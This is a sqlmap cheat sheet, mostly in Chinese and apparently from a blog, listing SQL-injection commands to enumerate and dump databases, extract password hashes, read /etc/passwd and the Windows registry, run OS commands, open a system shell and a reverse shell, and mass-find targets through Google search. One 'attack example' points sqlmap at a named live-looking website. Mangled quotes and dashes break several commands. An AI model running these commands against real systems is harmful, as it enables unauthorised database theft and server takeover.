sqlmap -u “http://www.xxoo.com/news?id=1“ –level=3 –smart –dbms “Mysql”–tables -D “db_name” #列表名

sqlmap -u “http://url/news?id=1“ –level=3 –smart –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列字段

sqlmap -u “http://url/news?id=1“ –level=3 –smart –dbms “Mysql” –dump -C “column_name” -T “table_name” -D “db_name” -v 0 #获取字段内容

**信息获取**

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –users #列数据库用户

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –dbs#列数据库

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–passwords #数据库用户密码

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–passwords-U root -v 0 #列出指定用户数据库密码

sqlmap -u “http://url/news?id=1“ –dbms “Mysql” –dump -C “password,user,id” -T “tablename” -D “db_name” –start 1 –stop 20 #列出指定字段,列出20条

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –dump-all -v 0 #列出所有数据库所有表

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–privileges #查看权限

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–privileges -U root #查看指定用户权限

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –is-dba -v 1 #是否是数据库管理员

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –roles #枚举数据库用户角色

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–udf-inject #导入用户自定义函数(获取系统权限!)

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出当前库所有表

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–union-cols #union 查询表记录

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”-b #获取banner信息

sqlmap -u “http://url/news?id=1“ –data “id=3” #post注入

sqlmap -u “http://url/news?id=1“ –level=3 –smart-v 1 -f #指纹判别数据库类型

sqlmap -u “http://url/news?id=1“ –level=3 –smart–proxy”http://127.0.0.1:8118“ #代理注入

sqlmap -u “http://url/news?id=1"--string"STRING_ON_TRUE_PAGE“ #指定关键词

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–sql-shell #执行指定sql命令

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–file /etc/passwd

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–os-cmd=whoami #执行系统命令

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–os-shell #系统交互shell

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–os-pwn #反弹shell

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–reg-read #读取win系统注册表

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –dbs-o “sqlmap.log” #保存进度

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –dbs -o “sqlmap.log” –resume #恢复已保存进度

sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出所有字段

攻击实例:

sqlmap -u “http://url/news?id=1&Submit=Submit“ –cookie=”PHPSESSID=41aa833e6d0d

28f489ff1ab5a7531406” –string=”Surname” –dbms=mysql –users –password

 


 

sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 1 –sql-shell //执行SQL语句


sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 5 //更详细的信息


load options from a configuration INI file

sqlmap -c sqlmap.conf


使用POST方法提交


sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/post_int.php” –method POST –data “id=1″


使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/cookie_int.php” –cookie “id=1″ -v 1

使用referer欺骗

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –referer “http://www.google.com” -v 3

使用自定义user-agent,或者使用随机使用自带的user-agents.txt

python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –user-agent “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 -a “./txt/user-agents.txt

使用基本认证

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1″ –auth-type Basic –auth-cred “testuser:testpass” -v 3

使用Digest认证

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1″ –auth-type Digest –auth-cred “testuser:testpass” -v 3

使用代理,配合TOR

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″proxyhttp://192.168.1.47:3128″

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″proxyhttp://192.168.1.47:8118″

使用多线程猜解


python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 –current-user –threads 3

绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入


python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 1 -p “id


python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2″ -v 1 -p “cat,id”

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/ua_str.php” -v 1 -p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)”

指定数据库,绕过SQLMAP的自动检测


python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –dbms “PostgreSQL


MySQL Oracle

PostgreSQL Microsoft SQL Server

指定操作系统,绕过SQLMAP自动检测

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –os “Windows”

Linux Windows

自定义payload

Options: –prefix and –postfix

In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injectionpayload prefix and/or postfix.

Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = “SELECT FROM users WHERE id=(‘” . $_GET[‘id’] . “‘) LIMIT 0, 1″;:


$ python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1″ -v 3 -p “id” –prefix “‘” –postfix “AND ‘test’=’test”

[…]

[hh:mm:16] [INFO] testing sql injection on GET parameter ‘id’ with 0 parenthesis

[hh:mm:16] [INFO] testing custom injection on GET parameter ‘id’

[hh:mm:16] [TRAFFIC OUT] HTTP request:

GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20

%28%27test%27=%27test HTTP/1.1

Accept-charset: ISO-8859-15,utf-8;q=0.7,;q=0.7

Host: 192.168.1.121:80

Accept-language: en-us,en;q=0.5

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,

image/png,/;q=0.5

User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)

Connection: close

[…]

[hh:mm:17] [INFO] GET parameter ‘id’ is custom injectable

[…]

As you can see, the injection payload for testing for custom injection is:

id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test

which URL decoded is:

id=1′) AND 7433=7433 AND (‘test’=’test

and makes the query syntatically correct to the page query:

SELECT * FROM users WHERE id=(’1′) AND 7433=7433 AND (‘test’=’test’) LIMIT 0, 1

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

页面比较

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –string “luther” -v 1

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –regexp “ lu[\w][\w]er” -v

排除网站的内容

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –excl-reg “Dynamic content: ([\d]+)”

多语句测试,php内嵌函数mysql_query(),不支持多语句


python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –stacked-test -v 1

union注入测试

python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –union-test -v 1

unionz注入配合orderby

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1″ –union-test –union-tech orderby -v 1

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 –union-use –banner

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 5 –union-use –current-user

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1″ -v 1 –union-use –dbs

fingerprint

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 -f

python sqlmap.py -u “http://192.168.123.36/sqlmap/get_str.asp?name=luther” -v 1 -f -b

判断当前用户是否是dba

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –is-dba -v 1

列举数据库用户

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –users -v 0

列举数据库用户密码

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –passwords -v 0

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –passwords -U sa -v 0

查看用户权限

python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –privileges -v 0

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –privileges -U postgres -v 0

列数据库

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dbs -v 0

列出指定数据库指定表的列名

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –columns -T users -D test -v 1

列出指定数据库的指定表的指定列的内容

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump -T users -D master -C surname -v 0

指定列的范围从2-4

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump -T users -D test –start 2 –stop 4 -v 0

导出所有数据库,所有表的内容


python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump-all -v 0

只列出用户自己新建的数据库和表的内容

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump-all –exclude-sysdbs -v 0

sql query

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –sql-query “SELECT usename FROM pg_user” -v 0


python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –sql-query “SELECT host, password FROM mysql.user LIMIT 1, 3″ -v 1

SELECT usename, passwd FROM pg_shadow ORDER BY usename

保存和恢复会话

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 -s “sqlmap.log”

保存选项到INC配置文件

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 –save